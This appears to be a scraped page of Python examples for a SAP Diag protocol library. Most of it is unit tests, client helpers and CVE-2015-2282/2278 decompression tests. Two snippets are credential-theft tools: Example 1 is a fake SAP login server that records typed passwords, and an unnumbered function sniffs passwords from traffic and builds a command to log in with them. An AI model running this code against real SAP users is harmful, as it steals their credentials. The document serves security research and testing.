Esempio n. 1
0
    def handle_msg(self):
        print("[*] Received message from client %s" % str(self.client_address))
        diag = self.packet[SAPDiag]

        # Handle exit transaction (OK CODE = /i)
        if len(diag.get_item("APPL", "VARINFO", "OKCODE")) > 0 and diag.get_item("APPL", "VARINFO", "OKCODE")[0].item_value == "/i":
            print("[*] Windows closed by the client %s" % str(self.client_address))
            self.logoff()

        # Handle events (UI EVENT SOURCE)
        elif diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE"):
            print("[*] UI Event sent by the client %s" % str(self.client_address))
            ui_event_source = diag.get_item("APPL", "UI_EVENT", "UI_EVENT_SOURCE")[0].item_value

            # Handle function key
            if ui_event_source.valid_functionkey_data:
                # Handle logoff event
                if ui_event_source.event_type == 7 and ui_event_source.control_type == 10 and ui_event_source.event_data == 15:
                    print("[*] Logoff sent by the client %s" % str(self.client_address))
                    self.logoff()

                # Handle enter event
                elif ui_event_source.event_type == 7 and ui_event_source.control_type == 10 and ui_event_source.event_data == 0:
                    print("[*] Enter sent by the client %s" % str(self.client_address))

            # Handle menu option
            elif ui_event_source.valid_menu_pos:
                print("[*] Menu event sent by the client %s" % str(self.client_address))

            else:
                print("[*] Other event sent by the client %s" % str(self.client_address))

        # Handle login request (DYNT Atom == \x00)
        atoms = diag.get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM")
        if atoms:
            print("[*] Login request sent by the client %s" % str(self.client_address))
            # Print the Atom items information
            print("[*] Input fields:")
            for atom in [atom for atom_item in atoms for atom in atom_item.item_value.items]:
                if atom.etype in [121, 122, 123, 130, 131, 132]:
                    text = atom.field1_text or atom.field2_text
                    text = text.strip()
                    if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0:
                        # If the invisible flag was set, we're probably
                        # dealing with a password field
                        print("[*]\tPassword field:\t%s" % (text))
                    else:
                        print("[*]\tRegular field:\t%s" % (text))

            print("[*] Sending error message to client %s" % str(self.client_address))
            self.request.send(SAPDiag(compress=1, message=self.make_error_screen("Thanks for your credentials !!!")))

        # Otherwise we send an error message
        else:
            print("[*] Sending error message to client %s" % str(self.client_address))
            try:
                self.request.send(SAPDiag(compress=0, message=self.make_error_screen("E: Unable to process your request, try later")))
            except error:
                pass
Esempio n. 2
0
    def test_sapdiag_atoms(self):
        """Test dissection of Diag Items and Dynt Atom Items"""
        diag_items = SAPDiagItems(read_data_file('nw_703_login_screen_decompressed.data'))
        diag_packet = SAPDiag(message=diag_items.message)
        diag_atoms = diag_packet.get_item(0x12, 0x09, 0x02)

        for atom in diag_atoms:
            for atom_item in atom.item_value.items:
                self.assertIsInstance(atom_item, SAPDiagDyntAtomItem)
Esempio n. 3
0
    def test_sapdiag_header_dissection_plain(self):
        """Test SAPDiag headers dissection without compression"""
        diag_item = SAPDiagItem(item_value="TEST_PLAIN")

        diag_header_plain = SAPDiag(compress=0)
        diag_header_plain.message.append(diag_item)
        new_diag_header_plain = SAPDiag(str(diag_header_plain))

        self.assertEqual(str(diag_header_plain), str(new_diag_header_plain))
Esempio n. 4
0
    def test_sapdiag_header_dissection_compressed(self):
        """Test SAPDiag headers dissection with compression"""
        diag_item = SAPDiagItem(item_value="TEST_COMPRESSED")

        diag_header_compr = SAPDiag(compress=1)
        diag_header_compr.message.append(diag_item)
        new_diag_header_compr = SAPDiag(str(diag_header_compr))
        self.assertEqual(str(diag_header_compr.message[0]),
                         str(new_diag_header_compr.message[0]))
Esempio n. 5
0
    def test_sapdiag_atoms(self):
        """Test dissection of Diag Items and Dynt Atom Items"""
        diag_items = SAPDiagItems(read_data_file('nw_703_login_screen_decompressed.data'))
        diag_packet = SAPDiag(message=diag_items.message)
        diag_atoms = diag_packet.get_item(0x12, 0x09, 0x02)

        for atom in diag_atoms:
            for atom_item in atom.item_value.items:
                self.assertIsInstance(atom_item, SAPDiagDyntAtomItem)
Esempio n. 6
0
def parse_fields(pkt,lines):
	result=[]
	logger.debug("Starting compression")
	d = SAPDiag()
	(sig ,compressed_len) = unpack('>4sI',pkt[0:8])
	(uncompressed_len,) = unpack('<I' , pkt[8:12])
	logger.debug("sig = {}, compressed_len = {}, uncompressed_len = {}".format(sig,compressed_len,uncompressed_len))
	rez=d.do_compress(pkt[8:compressed_len],uncompressed_len)
	for i in range(lines):
		result.append(rez[128 * i:128 * i + 128])
	return result
Esempio n. 7
0
    def test_sapdiag_header_build(self):
        """Test SAPDiag headers building"""
        diag_item = SAPDiagItem(item_value="TEST")

        diag_header_plain = SAPDiag(compress=0)
        diag_header_plain.message.append(diag_item)
        diag_plain_message = str(diag_header_plain.message)

        diag_header_compr = SAPDiag(compress=1)
        diag_header_compr.message.append(diag_item)
        diag_compr_message = str(diag_header_compr.message)

        self.assertEqual(diag_plain_message, diag_compr_message)

        diag_header_compr.compress = 0
        self.assertEqual(str(diag_header_plain), str(diag_header_compr))
def diag_grab_password(packet):
    if not packet.haslayer(SAPMS):
        return
    p = Packet()
    atoms = None
    try:
        p = SAPDiag(str(packet[SAPMS]))
        atoms = p[SAPDiag].get_item(["APPL", "APPL4"], "DYNT", "DYNT_ATOM")
    except:
        pass
    # Print the Atom items information
    if atoms:
        logger.info("[*] Input fields:")
        current_user = None
        current_pass = None
        for atom in [
                atom for atom_item in atoms
                for atom in atom_item.item_value.items
        ]:
            if atom.etype in [121, 122, 123, 130, 131, 132]:
                text = atom.field1_text or atom.field2_text
                text = text.strip()
                if not text: continue
                if atom.attr_DIAG_BSD_INVISIBLE and len(text) > 0:
                    logger.info("\tPassword field:\t%s" %
                                green(text, bold=True))
                    current_pass = text
                else:
                    logger.info("\tRegular field:\t%s" % (text))
                    current_user = text
        if current_user and current_pass:
            print "$ rfc_exec.py --host %s -S %s -C XXX -U '%s' -P '%s' -c info" % (
                attacked_as['ip'], '00', current_user, current_pass)
Esempio n. 9
0
    def test_sapdiag_header_build(self):
        """Test SAPDiag headers building"""
        diag_item = SAPDiagItem(item_value="TEST")

        diag_header_plain = SAPDiag(compress=0)
        diag_header_plain.message.append(diag_item)
        diag_plain_message = str(diag_header_plain.message)

        diag_header_compr = SAPDiag(compress=1)
        diag_header_compr.message.append(diag_item)
        diag_compr_message = str(diag_header_compr.message)

        self.assertEqual(diag_plain_message, diag_compr_message)

        diag_header_compr.compress = 0
        self.assertEqual(str(diag_header_plain), str(diag_header_compr))
Esempio n. 10
0
    def init(self):
        """Sends an initialization request. If the socket wasn't created,
        call the :class:`connect` method. If compression was specified, the
        initialization will be performed using the respective User
        Connect item.

        :return: initialization response (usually login screen)
        :rtype: :class:`SAPNI<SAPNI.SAPNI>`
        """
        if self._connection is None:
            self.connect()

        # If the connection is compressed, use the respective User Connect item
        if self.compress == 1:
            user_connect = user_connect_compressed
        else:
            user_connect = user_connect_uncompressed

        # The initialization is always performed uncompressed
        self.initialized = True  # XXX: Check that the respose was ok

        return self.sr(
            SAPDiagDP(terminal=self.terminal) /
            SAPDiag(compress=0, com_flag_TERM_INI=1) / user_connect /
            self.support_data)
Esempio n. 11
0
 def logoff(self):
     print("[*] Logging off the client %s" % str(self.client_address))
     try:
         self.request.send(SAPDiag(com_flag_TERM_EOP=1, com_flag_TERM_EOC=1, compress=0))
         self.request.close()
     except error:
         pass
     del(self.server.clients[self.client_address])
Esempio n. 12
0
    def send_message(self, msg):
        """Sends a L{SAPDiag<SAPDiag.SAPDiag>} message, prepending the Diag header.

        @param msg: items to send
        @type msg: C{list} of L{SAPDiagItem}

        """
        self.send(SAPDiag(compress=self.compress, message=msg))
Esempio n. 13
0
    def send_message(self, msg):
        """Sends a :class:`SAPDiag<SAPDiag.SAPDiag>` message, prepending the Diag header.

        :param msg: items to send
        :type msg: ``list`` of :class:`SAPDiagItem`

        """
        self.send(SAPDiag(compress=self.compress, message=msg))
Esempio n. 14
0
    def close(self):
        """Send an 'end of connection' packet and closes the socket

        """
        try:
            self.send(SAPDiag(compress=0, com_flag_TERM_EOC=1))
            self._connection.close()
        except SocketError:  # We don't care about socket errors at this time
            pass
Esempio n. 15
0
    def test_sapdiag_dissection(self):
        """Test dissection of a basic SAP Diag packet. """
        pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/SAPDiag()

        packet = self.get_capture(pkt)[0]

        self.assertIn('sapni', packet)
        self.assertEqual(int(packet['sapni'].length), 8)

        self.assertIn('sapdiag', packet)
Esempio n. 16
0
    def test_invalid_write(self):
        """Test invalid write vulnerability in LZC code (CVE-2015-2282)"""

        test_case = read_data_file('invalid_write_testcase.data', False)

        pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/test_case

        packet = self.get_capture(pkt)[0]

        self.assertIn('sapdiag', packet)
Esempio n. 17
0
    def sr_message(self, msg):
        """Sends and receive a :class:`SAPDiag<SAPDiag.SAPDiag>` message, prepending the
        Diag header.

        :param msg: items to send
        :type msg: ``list`` of :class:`SAPDiagItem`

        :return: server's response
        :rtype: :class:`SAPNI<SAPNI.SAPNI>`

        """
        return self.sr(SAPDiag(compress=self.compress, message=msg))
Esempio n. 18
0
 def handle_init(self):
     # For initialization we need to decode the packet as SAPDiagDP
     self.packet.decode_payload_as(SAPDiagDP)
     if SAPDiagDP in self.packet:
         self.server.clients[self.client_address].init = True
         self.server.clients[self.client_address].terminal = self.packet[SAPDiagDP].terminal
         print("[*] Client %s set to initialized (terminal: %s)" % (str(self.client_address),
                                                                    self.server.clients[self.client_address].terminal))
         self.request.send(SAPDiag(compress=0, message=self.make_login_screen()))
     else:
         print("[-] Error during initialization of client %s" % str(self.client_address))
         self.logoff()
Esempio n. 19
0
    def sr_message(self, msg):
        """Sends and receive a L{SAPDiag<SAPDiag.SAPDiag>} message, prepending the
        Diag header.

        @param msg: items to send
        @type msg: C{list} of L{SAPDiagItem}

        @return: server's response
        @rtype: L{SAPNI<SAPNI.SAPNI>}

        """
        return self.sr(SAPDiag(compress=self.compress, message=msg))
Esempio n. 20
0
    def test_invalid_read(self):
        "Test invalid read vulnerability in LZH code (CVE-2015-2278)"

        test_case = read_data_file('invalid_read_testcase.data', False)

        pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/test_case

        packet = self.get_capture(pkt)[0]

        self.assertIn('sapdiag', packet)
        self.assertEqual(1, int(packet['sapdiag'].header_compression_returncode))
        self.assertEqual("The uncompressed payload length (0) differs with the reported length (661)",
                         packet['sapdiag'].header_compression_uncomplength_invalid)
Esempio n. 21
0
    def test_login(self):
        """Test decompression of a login packet. The result is
        compared with data obtained from SAP GUI."""

        login_compressed = read_data_file('sapgui_730_login_compressed.data')
        login_decompressed = read_data_file('sapgui_730_login_decompressed.data')

        pkt = Ether()/IP()/TCP(dport=3200)/SAPNI()/Raw(str(SAPDiag(compress=1))[:-8])/login_compressed

        packet = self.get_capture(pkt)[0]

        self.assertIn('sapdiag', packet)
        self.assertEqual(1, int(packet['sapdiag'].header_compression_returncode))
        self.assertEqual(len(login_decompressed), int(packet['sapdiag'].header_compression_uncomplength))
Esempio n. 22
0
    def test_sapdiag_items_lookup(self):
        """Test lookup and filtering of SAPDiagItems inside a SAPDiag
        packet"""
        sapdiag = SAPDiag()

        sapdiag_ses_item = SAPDiagItem(item_type="SES")
        sapdiag.message.append(sapdiag_ses_item)

        sapdiag_appl_item = SAPDiagItem(item_type="APPL",
                                        item_id="ST_USER",
                                        item_sid="RFC_PARENT_UUID")
        sapdiag.message.append(sapdiag_appl_item)

        self.assertIn(sapdiag_ses_item, sapdiag.get_item(0x1))
        self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES"))
        self.assertNotIn(sapdiag_ses_item, sapdiag.get_item(0x10))
        self.assertNotIn(sapdiag_ses_item, sapdiag.get_item("APPL"))

        self.assertIn(sapdiag_appl_item, sapdiag.get_item(0x10))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL"))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER"))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x10))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", 0x10))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", "RFC_PARENT_UUID"))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(0x1))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL4"))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x06))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_R3INFO"))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x02))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", 0x02))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER", "CONNECT"))

        self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item], sapdiag.get_item([0x01, 0x10]))
        self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item], sapdiag.get_item(["SES", "APPL"]))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], [0x04, 0x06]))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_USER", "ST_R3INFO"]))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], 0x04, [0x02, 0x10]))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], "ST_USER", ["RFC_PARENT_UUID", "CONNECT"]))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["SES", "APPL4"]))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_R3INFO"]))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], ["ST_USER"], ["CONNECT"]))

        # Insert a wrong item and observe that the lookup still works
        sapdiag.message.append(Raw("\x00" * 10))
        self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES"))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item(["APPL"], "ST_USER", ["RFC_PARENT_UUID", "CONNECT"]))
Esempio n. 23
0
    def test_sapdiag_items_lookup(self):
        """Test lookup and filtering of SAPDiagItems inside a SAPDiag
        packet"""
        sapdiag = SAPDiag()

        sapdiag_ses_item = SAPDiagItem(item_type="SES")
        sapdiag.message.append(sapdiag_ses_item)

        sapdiag_appl_item = SAPDiagItem(item_type="APPL",
                                        item_id="ST_USER",
                                        item_sid="RFC_PARENT_UUID")
        sapdiag.message.append(sapdiag_appl_item)

        self.assertIn(sapdiag_ses_item, sapdiag.get_item(0x1))
        self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES"))
        self.assertNotIn(sapdiag_ses_item, sapdiag.get_item(0x10))
        self.assertNotIn(sapdiag_ses_item, sapdiag.get_item("APPL"))

        self.assertIn(sapdiag_appl_item, sapdiag.get_item(0x10))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL"))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", "ST_USER"))
        self.assertIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x04, 0x10))
        self.assertIn(sapdiag_appl_item,
                      sapdiag.get_item("APPL", "ST_USER", 0x10))
        self.assertIn(sapdiag_appl_item,
                      sapdiag.get_item("APPL", "ST_USER", "RFC_PARENT_UUID"))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(0x1))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL4"))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item("APPL", 0x06))
        self.assertNotIn(sapdiag_appl_item,
                         sapdiag.get_item("APPL", "ST_R3INFO"))
        self.assertNotIn(sapdiag_appl_item,
                         sapdiag.get_item("APPL", 0x04, 0x02))
        self.assertNotIn(sapdiag_appl_item,
                         sapdiag.get_item("APPL", "ST_USER", 0x02))
        self.assertNotIn(sapdiag_appl_item,
                         sapdiag.get_item("APPL", "ST_USER", "CONNECT"))

        self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item],
                             sapdiag.get_item([0x01, 0x10]))
        self.assertListEqual([sapdiag_ses_item, sapdiag_appl_item],
                             sapdiag.get_item(["SES", "APPL"]))
        self.assertIn(sapdiag_appl_item,
                      sapdiag.get_item(["APPL"], [0x04, 0x06]))
        self.assertIn(sapdiag_appl_item,
                      sapdiag.get_item(["APPL"], ["ST_USER", "ST_R3INFO"]))
        self.assertIn(sapdiag_appl_item,
                      sapdiag.get_item(["APPL"], 0x04, [0x02, 0x10]))
        self.assertIn(
            sapdiag_appl_item,
            sapdiag.get_item(["APPL"], "ST_USER",
                             ["RFC_PARENT_UUID", "CONNECT"]))
        self.assertNotIn(sapdiag_appl_item, sapdiag.get_item(["SES", "APPL4"]))
        self.assertNotIn(sapdiag_appl_item,
                         sapdiag.get_item(["APPL"], ["ST_R3INFO"]))
        self.assertNotIn(sapdiag_appl_item,
                         sapdiag.get_item(["APPL"], ["ST_USER"], ["CONNECT"]))

        # Insert a wrong item and observe that the lookup still works
        sapdiag.message.append(Raw("\x00" * 10))
        self.assertIn(sapdiag_ses_item, sapdiag.get_item("SES"))
        self.assertIn(
            sapdiag_appl_item,
            sapdiag.get_item(["APPL"], "ST_USER",
                             ["RFC_PARENT_UUID", "CONNECT"]))